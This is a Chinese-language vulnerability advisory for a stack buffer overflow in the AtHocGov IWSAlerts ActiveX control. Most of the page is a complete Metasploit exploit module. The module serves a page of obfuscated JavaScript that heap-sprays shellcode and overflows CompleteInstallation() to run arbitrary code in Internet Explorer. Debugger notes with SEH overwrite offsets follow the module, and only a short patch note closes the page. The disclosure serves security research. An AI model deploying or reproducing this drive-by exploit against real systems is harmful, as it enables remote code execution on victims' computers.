安全研究
安全漏洞
AtHocGov IWSAlerts ActiveX控件缓冲区溢出漏洞
发布日期：2010-10-01
更新日期：2012-03-02
受影响系统：
AtHoc AtHoc IWSAlerts描述：
AtHoc IWSAlerts Network是中央通知和紧急通讯系统。
AtHoc IWSAlerts Network的ActiveX控件在CompleteInstallation()方法的实现上存在缓冲区溢出漏洞，可导致任意代码执行。
<*来源：unknown
链接：http://www.athoc.com/products/athoc-iwsalerts/overview-a-benefits.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# $Id: athocgov_completeinstallation.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
(6.1.4.36) an attacker may be able to execute arbitrary code. This
vulnerability was silently patched by the vendor.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Feb 15 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 12500; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CompleteInstallation(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|
<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
=begin
IDL info...
[id(0x00000022)]
HRESULT CompleteInstallation([in] BSTR strParam);
$~/trunk/./msfpescan -f AtHocGovTBr.dll
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]
// smash /GS
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie
SecurityCookie 0x4278193c
// /SafeSEH, not today.
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH
SEHandlerTable 0x42774e40
SEHandlerCount 0x0000021b
0:000> !exchain
0013cae0: ntdll!_except_handler3+0 (7c90ee18)
CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)
func: ntdll!RtlFreeHeap+617 (7c93bece)
0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)
0013dd9c: 61473161
Invalid exception stack at 47306147
0:000> !pattern_offset 5140 0x47306147
[Byakugan] Control of 0x47306147 at offset 4680.
0:000> !pattern_offset 5140 0x61473161
[Byakugan] Control of 0x61473161 at offset 4684.
=end
建议：
厂商补丁：
AtHoc
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.athoc.com/
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